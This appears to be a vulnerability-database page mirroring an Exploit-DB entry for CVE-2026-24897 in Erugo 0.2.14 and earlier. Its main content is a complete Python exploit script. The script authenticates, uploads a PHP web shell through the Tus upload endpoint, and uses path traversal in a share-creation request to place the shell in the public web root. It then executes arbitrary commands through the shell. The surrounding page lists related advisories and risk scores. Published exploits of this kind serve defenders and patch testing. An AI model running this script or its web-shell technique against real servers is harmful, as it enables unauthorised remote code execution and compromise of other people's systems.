Lucene search
K

Erugo 0.2.14 - Remote Code Execution (RCE)

🗓️ 30 Apr 2026 00:00:00Reported by abdulmoizType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 44 Views

Authenticated remote code execution in Erugo versions up to 0.2.14 (CVE-2026-24897).

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2026-24897
28 Jan 202622:24
attackerkb
Circl
CVE-2026-24897
28 Jan 202623:21
circl
CNNVD
Erugo code issues and vulnerabilities
28 Jan 202600:00
cnnvd
CVE
CVE-2026-24897
28 Jan 202622:24
cve
Cvelist
CVE-2026-24897 Authenticated Remote Code Execution via Arbitrary File Upload
28 Jan 202622:24
cvelist
EUVD
EUVD-2026-4975
28 Jan 202622:24
euvd
NVD
CVE-2026-24897
28 Jan 202623:15
nvd
OSV
CVE-2026-24897 Authenticated Remote Code Execution via Arbitrary File Upload
28 Jan 202622:24
osv
Packet Storm
📄 Erugo 0.2.14 Remote Code Execution
5 May 202600:00
packetstorm
Positive Technologies
PT-2026-5235
28 Jan 202600:00
ptsecurity
Rows per page
# Exploit Title: Erugo <= 0.2.14 - Authenticated Remote Code Execution (RCE)
# Date: 2026-02-02
# Exploit Author: Abdul Moiz
# Vendor Homepage: https://github.com/ErugoOSS/Erugo
# Software Link: https://hub.docker.com/layers/wardy784/erugo/0.2.14/images/sha256-d3da70b337212a6c774b7028256870274edc2ac40536fcc0f1706cbbc4ed4fbf
# Version: <= 0.2.14
# Tested on: Linux (Docker)
# CVE: CVE-2026-24897

import requests
import json
import sys
import time
import base64
import argparse
import random
import string
import warnings
from datetime import datetime, timedelta, timezone

# Disable SSL & Deprecation Warnings for clean output
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
warnings.filterwarnings("ignore", category=DeprecationWarning) 

class ErugoExploit:
    def __init__(self, target, username, password):
        self.target = target.rstrip("/")
        self.username = username
        self.password = password
        self.session = requests.Session()
        
        # Standard Headers
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Exploit-DB)",
            "Accept": "application/json",
            "Tus-Resumable": "1.0.0"
        })

        # Generate a random 8-char filename to prevent collisions
        rand_str = ''.join(random.choices(string.ascii_lowercase + string.digits, k=8))
        self.shell_name = f"{rand_str}.php"
        self.shell_content = '<?php system($_GET["cmd"]); ?>'

    def get_csrf(self):
        """Initialize session cookies"""
        print("[*] Initializing session...")
        try:
            self.session.get(f"{self.target}/login", verify=False, timeout=10)
        except Exception as e:
            print(f"[-] Connection failed: {e}")
            sys.exit(1)

    def login(self):
        print(f"[*] Authenticating as {self.username}...")
        url = f"{self.target}/api/auth/login"
        data = {"email": self.username, "password": self.password}
        
        try:
            r = self.session.post(url, json=data, verify=False, timeout=10)
            if r.status_code == 200:
                token = r.json().get("data", {}).get("access_token")
                if token:
                    self.session.headers.update({"Authorization": f"Bearer {token}"})
                    print("[+] Login Successful.")
                    return True
        except Exception as e:
            pass
            
        print("[-] Login Failed. Check credentials.")
        sys.exit(1)

    def upload_payload(self):
        print(f"[*] Uploading {self.shell_name} via Tus Protocol...")
        
        # 1. Tus Creation (POST)
        post_url = f"{self.target}/files/"
        
        # Base64 Encode metadata
        filename_b64 = base64.b64encode(self.shell_name.encode()).decode()
        filetype_b64 = base64.b64encode(b"application/x-php").decode()
        
        headers = {
            "Upload-Length": str(len(self.shell_content)),
            "Upload-Metadata": f"filename {filename_b64},filetype {filetype_b64}"
        }
        
        try:
            r = self.session.post(post_url, headers=headers, verify=False, timeout=10)
            if r.status_code != 201:
                print(f"[-] Tus creation failed. Status: {r.status_code}")
                sys.exit(1)
                
            location = r.headers.get("Location")
            file_id = location.split("/")[-1]
            
            # 2. Tus Data Transfer (PATCH)
            patch_headers = {
                "Content-Type": "application/offset+octet-stream",
                "Upload-Offset": "0"
            }
            
            r = self.session.patch(location, headers=patch_headers, data=self.shell_content, verify=False, timeout=10)
            
            if r.status_code == 204:
                print(f"[+] Payload uploaded. ID: {file_id}")
                return file_id
            else:
                print(f"[-] Data upload failed. Status: {r.status_code}")
                sys.exit(1)
                
        except Exception as e:
            print(f"[-] Upload error: {e}")
            sys.exit(1)

    def trigger_path_traversal(self, file_id):
        print("[*] Creating malicious share...")
        url = f"{self.target}/api/uploads/create-share-from-uploads"
        
        # Fix Date Warning: Use timezone-aware UTC
        tomorrow = datetime.now(timezone.utc) + timedelta(days=1)
        expiry = tomorrow.strftime("%Y-%m-%dT%H:%M:%S.000Z")

        payload = {
            "upload_id": "exploit", 
            "name": "exploit_share",
            "recipients": [],
            "uploadIds": [file_id],
            "filePaths": {
                 # VULNERABILITY: Path Traversal
                 file_id: f"../../../../../public/{self.shell_name}"
            },
            "expiry_date": expiry,
            "password": "", 
            "password_confirm": ""
        }
        
        try:
            r = self.session.post(url, json=payload, verify=False, timeout=10)
            if r.status_code not in [200, 201]:
                print(f"[-] Share creation failed. Status: {r.status_code}")
                print(f"    Response: {r.text}")
                sys.exit(1)
            print("[+] Malicious share created.")
        except Exception as e:
            print(f"[-] Error creating share: {e}")
            sys.exit(1)

    def execute_command(self, cmd):
        shell_url = f"{self.target}/{self.shell_name}"
        print(f"[*] Executing command: '{cmd}' at {shell_url}")
        
        time.sleep(1) # Wait for filesystem sync
        
        try:
            r = self.session.get(shell_url, params={"cmd": cmd}, verify=False, timeout=10)
            
            if r.status_code == 200:
                print("\n" + "="*50)
                print(f"COMMAND OUTPUT:")
                print(r.text.strip())
                print("="*50 + "\n")
            else:
                print(f"[-] Command failed. Status: {r.status_code}")
        except Exception as e:
            print(f"[-] Execution error: {e}")

def main():
    parser = argparse.ArgumentParser(description='Erugo <= 0.2.14 Authenticated RCE')
    parser.add_argument('-t', '--target', required=True, help='Target URL (e.g., http://localhost:9998)')
    parser.add_argument('-u', '--username', required=True, help='User email')
    parser.add_argument('-p', '--password', required=True, help='User password')
    parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
    
    args = parser.parse_args()
    
    exploit = ErugoExploit(args.target, args.username, args.password)
    
    exploit.get_csrf()
    exploit.login()
    fid = exploit.upload_payload()
    exploit.trigger_path_traversal(fid)
    exploit.execute_command(args.command)

if __name__ == "__main__":
    main()

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Apr 2026 00:00Current
5.2Medium risk
Vulners AI Score5.2
CVSS 3.18.8 - 10
EPSS0.01089
SSVC
44